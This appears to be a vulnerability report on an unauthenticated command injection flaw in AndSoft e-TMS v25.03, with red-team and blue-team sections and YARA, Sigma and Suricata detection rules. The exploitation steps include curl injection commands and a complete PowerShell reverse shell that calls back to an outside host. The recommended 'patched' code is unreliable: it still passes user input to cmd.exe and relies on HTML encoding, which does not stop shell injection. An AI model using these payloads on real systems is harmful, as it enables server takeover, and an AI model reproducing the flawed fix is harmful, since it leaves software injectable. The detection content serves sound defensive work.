CVE-2025-59739

Executive Summary

CVE-2025-59739 is an unauthenticated operating system command injection vulnerability in AndSoft's e-TMS v25.03, specifically within the /clt/LOGINFRM_original.ASP endpoint. The vulnerability is triggered by sending a crafted POST request with a malicious m parameter, allowing an attacker to execute arbitrary OS commands on the underlying server. With a CVSS score of 0.0 (placeholder) and no known patch, this represents a critical risk for any organization using this software. The lack of public exploit code or PoC does not reduce the severity; the attack vector is straightforward and can be weaponized with minimal effort.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (placeholder – likely critical based on vector)
• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)
• Threat Level: Critical – immediate remediation required.

Deep Dive & Mechanics

The vulnerability resides in the ASP page LOGINFRM_original.ASP within the /clt/ directory. The m parameter is passed unsanitized to a system-level function (likely WScript.Shell or Shell.Application), allowing an attacker to inject arbitrary commands. The injection occurs because the application concatenates user input directly into a command string without proper escaping or validation.

Attack Flow:

1. Attacker identifies the vulnerable endpoint: POST /clt/LOGINFRM_original.ASP
2. Sends a POST request with m parameter containing command injection payload (e.g., ; whoami or | dir)
3. The server executes the injected command with the privileges of the web server (typically SYSTEM or NETWORK SERVICE on Windows, or www-data on Linux)
4. Output is returned in the HTTP response or can be exfiltrated via outbound connection.

Root Cause: Lack of input sanitization and use of dangerous functions like CreateObject("WScript.Shell").Exec or Shell() in classic ASP.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual ASP):

<%
Dim cmd
cmd = Request.Form("m")
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c " & cmd, 0, True
%>

Patched Code (Conceptual):

<%
Dim cmd
cmd = Request.Form("m")
' Validate input against whitelist
If Not IsValidCommand(cmd) Then
    Response.Status = "400 Bad Request"
    Response.End
End If
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c " & Server.HTMLEncode(cmd), 0, True
%>

Note: No official patch exists; this is a recommended fix.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: Windows Server 2019 with IIS and e-TMS v25.03 installed
• Attacker: Kali Linux with Burp Suite or curl

Exploitation Steps:

1. Identify the vulnerable endpoint:

   curl -X POST http://target/clt/LOGINFRM_original.ASP -d "m=whoami"
   

2. Execute command and capture output:

   curl -X POST http://target/clt/LOGINFRM_original.ASP -d "m=dir C:\"
   

3. Establish reverse shell (PowerShell):

   curl -X POST http://target/clt/LOGINFRM_original.ASP -d "m=powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"$c=New-Object System.Net.Sockets.TCPClient('10.0.0.5',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1 | Out-String );$sb2=$sb + 'PS ' + (pwd).Path + '> ';$sbt=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$c.Close()\""
   

Payload Examples:

• ; whoami
• | ipconfig
• & echo VULN > C:\temp\pwned.txt

Blue Team (Defensive)

Detection:

• Monitor POST requests to /clt/LOGINFRM_original.ASP with unusual m parameter values (e.g., containing ;, |, &, $, %)
• Alert on outbound connections from the web server to unknown IPs on high ports (e.g., 4444, 1337)
• Enable command-line auditing (Event ID 4688) on Windows servers

Mitigation:

• Immediately isolate affected systems
• Apply virtual patching via WAF (e.g., ModSecurity rule blocking m parameter with shell metacharacters)
• Restrict web server privileges (run as low-privilege account)
• Disable dangerous ASP functions via IIS configuration

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_59739_CommandInjection {
    meta:
        description = "Detects command injection attempts against AndSoft e-TMS v25.03"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59739"
    strings:
        $asp_endpoint = "/clt/LOGINFRM_original.ASP" nocase
        $cmd_chars = /[;&|`$]/
        $cmd_keywords = /(whoami|cmd|powershell|net\s+user|dir|ipconfig)/
    condition:
        $asp_endpoint and #cmd_chars > 0 and #cmd_keywords > 0
}

Sigma Rule

title: CVE-2025-59739 Command Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /clt/LOGINFRM_original.ASP with command injection patterns
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/clt/LOGINFRM_original.ASP'
        cs-uri-query|contains:
            - 'm=;'
            - 'm=|'
            - 'm=&'
            - 'm=`'
            - 'm=$'
    condition: selection
falsepositives:
    - Legitimate use of semicolons in parameter values (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-59739 - AndSoft e-TMS Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/clt/LOGINFRM_original.ASP"; http_uri;
    content:"m="; http_client_body;
    pcre:"/m=[^&]*(?:;|\||&|`|\$)/Pi";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2025-59739;
)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the vulnerable ASP page or restrict access via IP whitelist
   • Apply WAF rules to block m parameter containing shell metacharacters
   • Monitor logs for exploitation attempts

2. Long-term Fix:

   • Contact AndSoft for an official patch (none available as of this report)
   • Rewrite the vulnerable ASP page to use parameterized commands or a whitelist of allowed values
   • Migrate to a supported, modern application

3. Compensating Controls:

   • Run web server with least privilege (e.g., IIS_IUSRS group)
   • Enable Windows Defender Application Control (WDAC) to block untrusted executables
   • Implement network segmentation to limit lateral movement

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated for CVE-2025-59739